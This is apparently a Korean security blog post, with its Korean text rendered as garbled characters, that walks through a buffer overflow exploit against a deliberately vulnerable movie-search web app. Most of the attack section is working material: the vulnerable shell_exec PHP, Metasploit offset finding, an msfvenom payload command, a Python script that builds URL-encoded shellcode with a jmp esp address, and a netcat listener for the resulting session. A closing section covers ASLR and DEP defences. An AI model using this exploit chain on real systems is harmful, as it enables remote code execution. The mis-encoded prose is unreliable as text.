ํฐ์คํ ๋ฆฌ ๋ทฐ
๊ฐ์
์น ์ ํ๋ฆฌ์ผ์ด์ ์ฆ ํ๋ก๊ทธ๋จ์ด ๋ณ์์ ํ ๋น๋ ๊ณต๊ฐ์ ์ ์ฅ๋ ๋ฐ์ดํฐ์ ํฌ๊ธฐ(๋ฒํผ)๋ฅผ ๊ฒ์ฌํ๊ฑฐ๋ ์ ํํ์ง ์๊ฒ ๋ ๊ฒฝ์ฐ ๋ฐํ ์ฃผ์ ๋ผ ๋ถ๋ฆฌ๋ Return Address(RET)์ ๋ฎ์ด ์์์ ธ ํด๋น ๊ธฐ๋ฅ์ด ์ค์ง๋๊ฑฐ๋ RET ๊ฐ์ ๊ณต๊ฒฉ์ฝ๋๋ฅผ ์๋์ ์ผ๋ก ์ฝ์ ๋๊ฒ ํ์ฌ ๊ณต๊ฒฉ์๊ฐ ์คํํ๊ณ ์ ํ๋ ์ฝ๋๋ฅผ ์คํ์ํฌ ์ ์๋ ์ฌ๊ฐํ ์ทจ์ฝ์ ์ ๋๋ค.
์คํ(Stack), ํ(Heap) ๋ฑ ๋ค์ํ ์ด์์ฒด์ ์ BOF ๊ฐ ๋ฐ์ํ ์ ์์ต๋๋ค. ์ฐ์ Linux ํ๊ฒฝ์์ ์ค์ต์ ์งํํด๋ณผ ๊ฒ์ด๊ธฐ์ ํ๋ก๊ทธ๋จ ์คํ ์ ์ฌ์ฉ๋๋ ๋ฉ๋ชจ๋ฆฌ ๊ตฌ์กฐ๋ฅผ ๋ณด๊ฒ ์ต๋๋ค.
Stack : ํ์ ์ ์ถ ์ธ Last In First Out ํน์ฑ์ ๊ฐ์ง๊ณ ์์ผ๋ฉฐ, ํจ์์ ๋งค๊ฐ๋ณ์๋ฅผ ์ ๋ฌํ๋ ๋ฑ ํจ์ ํธ์ถ๊ณผ ๊ด๋ จ๋ ์ ๋ณด๋ฅผ ๊ฐ์ง๊ณ ์์
Heap : ๋์ ํ ๋น ์ ์ฌ์ฉ
Date : ์ด๊ธฐํ๋ ๋ฐ์ดํฐ๊ฐ ์์นํ๋ ์์ญ
Code : ์ด์ ๋ธ๋ฆฌ๋ ๊ธฐ๊ณ์ด ๊ฐ์ ๋ช ๋ น์ด๋ค์ด ์์น ์ฆ ํ๋ก๊ทธ๋จ์ ์คํ์ฝ๋๊ฐ ๋ด๊ธด ์์ญ
Stack ๋ท๋ถ๋ถ์ ๋ฐํ์ฃผ์์ธ RET ๊ฐ ์๋๋ฐ ์ค๋ฒํ๋ก์ฐ๊ฐ ๋์ด๋ฒ๋ฆฌ๋ฉด RET ์์ญ๊น์ง ๋์ณ ๊ฐ์ ์ ์ผ๋ก ๋ฎ์ธ ์ฃผ์๋ก ๋์ด๊ฐ๊ฒ ๋๋๋ฐ ์ด ์์ญ์๋ ๊ณต๊ฒฉ์๊ฐ ์ฝ์ ํด๋ "Payload"๊ฐ ์กด์ฌํฉ๋๋ค.
๊ณต๊ฒฉ์ฝ๋๋ ๋ณดํต ํน์ ์์คํ ์์ ์คํ๋ ์ ์๋ ๊ธฐ๊ณ์ด ์ฝ๋์ ๋ณต๊ท ํฌ์ธํฐ์ ์ ์ฅ๋ ์๋ก์ด ์ฃผ์๋ก ๊ตฌ์ฑ๋์ด ์์ต๋๋ค.
BufferOverflow ์ฑ๊ณต ์กฐ๊ฑด
(1) ์คํ ์ค์ธ ํ๋ก๊ทธ๋จ์ด ํ์๋ก ํ๋ ์ ๋ณด๋ฅผ ์ ์ฅํ๋ ๊ณต๊ฐ์ธ Stack์ ๊ตฌ์กฐ
(2) ์ทจ์ฝํ ํจ์ ์ฌ์ฉ(strcpy, Scanf, Strcat ๋ฑ)
(3) Buffer์ ์ฃผ์ ์ฆ ๋ฐ์ดํฐ๊ฐ ์ผ์์ ์ผ๋ก ์ ์ฅ๋๋ ๊ณต๊ฐ
if(isset($_POST["title"]))
{
$title = $_POST["title"];
$title = commandi($title);
if($title == "")
{
echo "<p><font color=\"red\">Please enter a title...</font></p>";
}
else
{
echo shell_exec("./apps/movie_search " . $title);
}
}
BOF ๊ฐ ๋ฐ์๋๋ ์์ญ์ ๋๋ค. ํด๋น ์น ์ ํ๋ฆฌ์ผ์ด์ ์ ์ํ ์ ๋ชฉ์ ๊ฒ์ํด์ ์ํ๋ ๊ฒฐ๊ณผ๋ฅผ ๋์ถ์์ผ์ฃผ๋ ๊ธฐ๋ฅ์ ํ๊ณ ์์ต๋๋ค. shell_exec๋ฅผ ์ฌ์ฉํ์ฌ ์ฟผ๋ฆฌ ์์ ์ ์ํํ๊ณ ์์ผ๋ฉฐ ๋งค๊ฐ๋ณ์๋ movie_search ๋ฐ command($title);์ ๋๋ค.
pattern_creat.rb : "A" ์ํ์ค๋ฅผ ๋์ฒดํ๋ ๋ฐ ์ฌ์ฉํ ์ ์๋ ๊ณ ์ ํจํด์ผ๋ก ๋ฌธ์์ด ์์ฑ
pattern_offset.rb : EIP์ ์์ธ ์ ํํ ๋ฒํผ ๊ธธ์ด ๊ณ์ฐ์ ์ํด ์ฌ์ฉ(EIP / SEH ์ฃผ์๋ฅผ ์์๋์ ๋ ์ฌ์ฉ)
๊ณต๊ฒฉ์๊ฐ ์์ ํ ์ฝ๋๋ฅผ ์คํํ๊ธฐ ์ํด ์ ํํ Offset์ ๊ฒฐ์ ํด์ผ ํฉ๋๋ค. Metasploit์ ๋์์ ๋ฐ์ EIP๋ฅผ ๋ฎ์ด ์์๋ณด๊ฒ ์ต๋๋ค.
* EIP(32๋นํธ)๋ "ํ์ฅ ๋ช ๋ น ํฌ์ธํฐ"๋ก ์น ์ ํ๋ฆฌ์ผ์ด์ ์์ ์ฝ์ด ๋ค์ผ ๋ค์ ๋ช ๋ น์ด์ ์ฃผ์๋ฅผ ํฌํจํ๊ณ ์๊ธฐ์ ์ ์์ ์ธ ์ฝ๋๋ก ๋ฎ์ด์์ธ ์ ์๋ค๋ฉด ๊ณต๊ฒฉ์๊ฐ ์ํ๋ ๋ฐฉํฅ์ผ๋ก ๋์๊ฐ ์ ์๋ ํต์ฌ ์์
์์ฑ๋ ๋ฌธ์์ด์ ๊ฐ์ง๊ณ ๋์ ์๋น์ค๋ก ๋์ด์ "gdb" ๋๋ฒ๊น ์ ํด๋ณด๋ฉด "EIP" ๋ ์ง์คํฐ์ ๋ณํ๊ฐ ์๋ ๊ฒ์ ํ์ธํ ์ ์์ต๋๋ค.
๋ ์ง์คํฐ ์ ๋ณด๋ฅผ ํ์ธํ์ฌ ์ ํํ EIP ์ฃผ์ ๊ฐ(0x41386 c41)์ ์ฐพ์์ต๋๋ค. EIP ๋ ์ง์คํฐ ์ฃผ์๋ฅผ ์ฐพ์์ผ๋ฉด ์ด์ ๋ค์ Metasploit ํฐ๋ฏธ๋๋ก ๋์๊ฐ๋๋ก ํ๊ฒ ์ต๋๋ค.
pattern_offset.rb๋ฅผ ํตํด EIP ๋ ์ง์คํฐ ์ฃผ์์ offset ๊ฐ์ด 354 ์ธ ๊ฒ์ ํ์ธํ ์ ์์ต๋๋ค. ์ฆ EIP ์ฃผ์์ 354 ๋งํผ ์ฑ์์ง ์ ์๋ค๋ ๊ฒ์ ์๋ฏธํ๋ฉฐ ์คํ์ ์๋จ ํฌ์ธํฐ offset ์ด 358 ๋ฐ์ดํธ์ด์์ผ๋ฉฐ ์คํ์ ์๋จ ํฌ์ธ๊ฐ 4๋ฐ์ดํธ๋ฅผ ์ฐจ์งํ๋ ๊ฒ์ ํ์ธํ ์ ์์์ต๋๋ค.
ํ์ฌ๊น์ง "A" ๋ฌธ์์ด๋ก ์์ฑ ํ ์ถฉ๋ -> ์ถฉ๋ ๋น์ ๋ ์ง์คํฐ์ ์ ์ฅ๋ ๊ฐ์ ๊ฐ์ ธ์ด -> pattern_offset.rb๋ฅผ ์ฌ์ฉํ์ฌ ๋ฌธ์์ด์์ ํด๋น ๊ฐ์ ์์น๋ฅผ ํ์ธ -> ์ด๋ฅผ ํตํด ๋ฐํ ์ฃผ์์ธ RET ๋๋ ์ ์ฝ๋ ๋ฐฐ์น๋ฅผ ์ํ ์คํ์ ์ ํด๊ฒฐ
EIP๊ฐ ESP ๋ ์ง์คํฐ์ ํฌํจ๋ ์ฃผ์๋ก ์ ํํ๋๋ก ๋ช ๋ นํ ์ ์๋ค๋ฉด ์ ํ ํ ์ ์ฝ๋๋ฅผ ์คํํ ์ ์์ต๋๋ค.
๋์ ์๋น์ค์์ objdump -D./apps/movie_search | grep jmp.*esp ๋ช ๋ น์ ์ฌ์ฉํ๋ฉด ์ฃผ์ ๊ฐ์ ์ฐพ์ ์ ์์ต๋๋ค.
BufferOverflow Payload ์์ฑ
msfvenom -p linux/x86/exec CMD=/bin/ps -b '\x00' -e x86/opt_sub -f raw > guleum.txt
-p :payload ์ง์
-f :์ถ๋ ฅํ์ ์ง์ > ์์ฑํ ํ์ผ๋ช
msfvenom์ ํ์ฉํด์ Payload๋ฅผ ์ํ๋ ํํ๋ก ์์ฑํ ์ ์์ต๋๋ค. ์ด์ธ์ metasploit์ ํ์ฉํด์ ์์ฑํด๋ ์๊ด์์ต๋๋ค.
-b: badcharcters๋ก \x00์ ์ ์ธ์์ผ ์์ฑ
-e : ์ธ์ฝ๋ฉ ์ํ
-f : ์ถ๋ ฅ ํ์ ์ง์ (raw, bash, C, java, python ๋ฑ)
-o : ์ถ๋ ฅํ ๊ฒฝ๋ก ๋ฐ ํ์ผ๋ช ์ง์
(echo -n \; cat guleum.txt; echo -n \;) | perl -pe's/(.)/sprintf("%%%02X",ord($1))/seg'
์์ฑ๋ Payload๋ฅผ "cat" ๋ช ๋ น์ ํตํด ํ์ธํด๋ณด๋ฉด ์๋ณํ๊ธฐ ํ๋ ๊ธฐ๊ณ์ด ์ฝ๋๊ฐ ์ถ๋ ฅ์ด ๋ฉ๋๋ค. ์ฐ๋ฆฌ๋ ์์ฑํ ์ ์ฝ๋๋ฅผ ์น ์์ ๋์ ธ์ ๋ช ๋ น์ด๋ฅผ ์คํํ ๊ฒ์ด๊ธฐ ๋๋ฌธ์ ํด๋น ๋ช ๋ น์ ํตํด url ์ธ์ฝ๋ฉ ํํ๋ก ๋ณํ์ํค๋๋ก ํ๊ฒ ์ต๋๋ค.
// ์์ฑํ .py ํ์ผ ๋ด๋ถ์ ํ๋จ์ ์ฝ๋ ์ถ๊ฐ
dummy = '%41' * 354
jmpesp = '%8f%92%04%08'
shellcode = '%27%54%58%2d%05%fd%fd%fd%2d%01%01%01%01%2d%01%01%01%01%50%5c%25%01%01%01%01%25%
02%02%02%02%2d%75%1c%30%7d%2d%01%01%01%01%2d%01%01%01%01%50%2d%14%df%74%2b%2d%01%01%01%01%2d
%01%01%01%01%50%2d%08%90%25%e1%2d%01%01%01%01%2d%01%01%01%01%50%2d%67%6c%fe%0b%2d%01%01%01%0
1%2d%01%01%01%01%50%2d%ac%15%24%60%2d%01%01%01%01%2d%01%01%01%01%50%2d%e7%77%7d%1a%2d%01%01%0
1%01%2d%01%01%01%01%50%2d%67%04%58%7f%2d%01%01%01%01%2d%01%01%01%01%50%2d%96%36%ba%f7%2d%01%0
1%01%01%2d%01%01%01%01%50%2d%39%ca%e7%7e%2d%01%01%01%01%2d%01%01%01%01%50%2d%92%0e%21%7d%2d%01
%01%01%01%2d%01%01%01%01%50%2d%07%e6%58%0e%2d%01%01%01%01%2d%01%01%01%01%50%27'
payload = shellcode[:3] + dummy + jmpesp + shellcode[3:]
print payload
dummy : %41 * 354๋ A(%41)๋ผ๋ Metasploit์ผ๋ก ์์ฑํ ์ฐ๋ ๊ธฐ ๋ฌธ์์ด์ 354๊ฐ ๋๊ฒจ์ฃผ๋ฉด์ ์ค๋ฒํ๋ก์ฐ ๋ฐ์
jmpesp : ๋ฐํ ์ฃผ์์ธ RET ๊ฐ์ ์๋ฏธํจ
shellcod : Metasploit Payload ๋๋ msfvenom์ผ๋ก ์์ฑํ ์ ์ฝ๋๋ฅผ -> URL ์ธ์ฝ๋ฉํ ์ฝ๋๋ฅผ ' '(์์๋ฐ์ดํ ์์ ๋ฃ์ด์ค ๊ฒ)
payload = shellcode [:3] + dummy + jmpesp + shellcode [3:] : shellcode
์ ๋งจ ์ฒ์๊ณผ ๋์ธ %27 -> ' (์์๋ฐ์ดํ๋ฅผ ์๋ฏธํ๊ธฐ๋๋ฌธ
url ์ธ์ฝ๋ฉ ํํ๋ก ๋ณํ๋ guleum.txt ๋ ๊ทธ๋๋ก ๋๊ณ . py ํํ๋ก ํ์ผ์ ํ๋ ๋ง๋ค์ด ์ต์ข ๊ณต๊ฒฉ์ฝ๋๋ฅผ ์ถ๋ ฅํด๋ณด๋๋ก ํ๊ฒ ์ต๋๋ค. ํด๋น. ์ฐ์ฑ py ํ์ผ ์์ ํ๋จ์ ๋ด์ฉ์ ์ถ๊ฐํด์ฃผ์๋ฉด ๋ฉ๋๋ค.
์คํํด ์ฃผ์๋ฉด ์ต์ข ์ ์ธ ์ฝ๋๊ฐ ์ถ๋ ฅ๋ฉ๋๋ค.
์ด์ ๊ณต๊ฒฉ์๋ nc (netcat)์ 4444๋ฒ ํฌํธ๋ก ๋ฆฌ์ค๋ ์ํ๋ก ๋๊ธฐ์์ผ๋ก๋๋ค. nc๋ TCP/UDP ํ๋กํ ์ฝ๋ก ์ฐ๊ฒฐ๋ ๋คํธ์ํฌ ์์์ ๋ฐ์ดํฐ๋ฅผ ์ฝ๊ณ ์ธ ์ ์๊ธฐ์ ์ค๋ฒํ๋ก์ฐ ์ ์คํ์ํฌ ์ฝ๋๋ฅผ ๋๊ฒจ์ฃผ๊ณ ๊ณต๊ฒฉ์์ ์ธ์ ์ด ํ๋ฆฝ๋๊ฒ ํ ์ ์์ต๋๋ค.
ํ๋ก์ ๋๊ตฌ์ธ Burp Suite๋ฅผ ์ฌ์ฉํ์ฌ ์ ๋ ฅ๊ฐ์ ๋ฐ์์ฃผ๋ command($title) ๋งค๊ฐ๋ณ์์ ๊ณต๊ฒฉ์ฝ๋๋ฅผ ์ฝ์ ํด์ฃผ๋ฉด ๋ฉ๋๋ค. dummy ๋ฌธ์๋ฅผ 354 ๊ฐ๋ฅผ ๋๊น์ผ๋ก์จ ๋ง์ง๋ง์ ์คํ๋๋ ๋ฐํ ์ฃผ์(RET) ์์ญ๊น์ง ์นจ๋ฒํ๊ฒ ๋๊ณ ๊ณต๊ฒฉ์๊ฐ ์ํ๋ Payload๋ก ๊ฐ์ ์ ์ผ๋ก ์ด๋ํ ์ ์์ต๋๋ค.
๊ณต๊ฒฉ ์ํ ํ 4444๋ฒ ํฌํธ๋ก ๋ฆฌ์ค๋ ์ค์ธ ํฐ๋ฏธ๋์ ํ์ธํด๋ณด๋ฉด ์ธ์ ์ด ์ฑ๊ณต์ ์ผ๋ก ํ๋ฆฝ๋ผ์ ๊ณต๊ฒฉ์๊ฐ ๋์ ์์คํ ์ ์ํ๋ ๋ช ๋ น์ด๋ฅผ ์ํํ ์ ์๊ฒ ๋ฉ๋๋ค.
Buffer Overflow ๋์๋ฐฉ์
๋ฌธ์์ด์ ์ฒ๋ฆฌํด์ฃผ๋ ํจ์์์ ์ ๋ ฅ๊ฐ(๋ฒํผ ๊ธธ์ด)์ ๊ฒ์ฆํ๊ณ ์ทจ์ฝํ ํจ์๋ ์ฌ์ฉํ์ง ์๋๋ก ํด์ผ ํฉ๋๋ค.
๋ฒํผ์ค๋ฒํ๋ก์ฐ๋ฅผ ๋ง๊ธฐ ์ํด ๋ํ์ ์ผ๋ก ASLR, DEP ๋ฑ์ด ์๋๋ฐ, DEP(Date Execution Prevention)๋ ๋ฉ๋ชจ๋ฆฌ ์์ญ์ ์์์ ์ฝ๋๊ฐ ์คํ๋๋ ๊ฒ์ ๋ฐฉ์งํ๋ ๊ธฐ๋ฒ์ผ๋ก Windows์์ ์ฌ์ฉ๋ฉ๋๋ค. ๋ํ Linux ์์์๋ ๊ธฐ๋ณธ์ ์ผ๋ก BOF๋ฅผ ๋ฐฉ์ดํ๊ธฐ ์ํ ASLR ์ด ์ค์ ๋์ด ์๋๋ฐ
*ASLR(Address Space Layout Randomization) ์ด๋ ์ฃผ์๋ฅผ ๋๋ค์ผ๋ก ๋ฐฐ์นํ์ฌ ์คํํ ๋๋ง๋ค ์ฃผ์๊ฐ ๋ฐ๋๋ ๊ธฐ๋ฒ์ด๋ค.
์ด ๋ํ RTL(Return To Libc)์ด๋ผ๋ ๊ณต์ ๋ผ์ด๋ธ๋ฌ๋ฆฌ(์คํ๊ณผ ํ ์ค๊ฐ์ ์์นํจ)์ ํจ์๋ฅผ ์ฝ์ ํ์ฌ DEP ์ฐํ ๊ธฐ๋ฒ์ด ์กด์ฌํฉ๋๋ค. ๊ทธ๋ผ DEP -> ๊ธฐ๋ฒ์ ์ฐํํ ์ ์๋ RTL ๊ธฐ๋ฒ์ ๋์ํ๊ธฐ ์ํด์ "ASCII Armor"์ด๋ผ๋ ๊ณต์ ๋ผ์ด๋ธ๋ฌ๋ฆฌ ์์ญ์ ์์ ์ฃผ์์ "0x00"๋ฅผ ํฌํจ์ํค๊ฒ ํ์ฌ ์ธ์๊ฐ ์ ๋ฌ๋์ง ์๋๋ก ํ ์ ์์ต๋๋ค.
์ด์ธ์๋ ๋ค์ํ ๊ณต๊ฒฉ ๊ธฐ๋ฒ๊ณผ ๋์๋ฐฉ์์ด ์กด์ฌํ์ง๋ง ๋ค๋ฅธ ํ๊ฒฝ์์์ ๋ถ์์ ์ข ๋ ์ํํด๋ณด๊ณ ์์ฑํ ์์ ์ ๋๋ค.
'WEB' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
Gophish(Phishing Framework) ์ค์น (0) | 2021.01.18 |
---|---|
CVE-2020-1938 ์ทจ์ฝ์ ๋ถ์ (0) | 2020.12.13 |
CSRF(Cross Site Request Forgery) ์ทจ์ฝ์ (0) | 2020.10.29 |
FTP(File Transfer Protocol) ์ทจ์ฝ์ ๊ณต๊ฒฉ (0) | 2020.10.28 |
Heartbleed(CVE-2014-0160) ์ทจ์ฝ์ (0) | 2020.10.27 |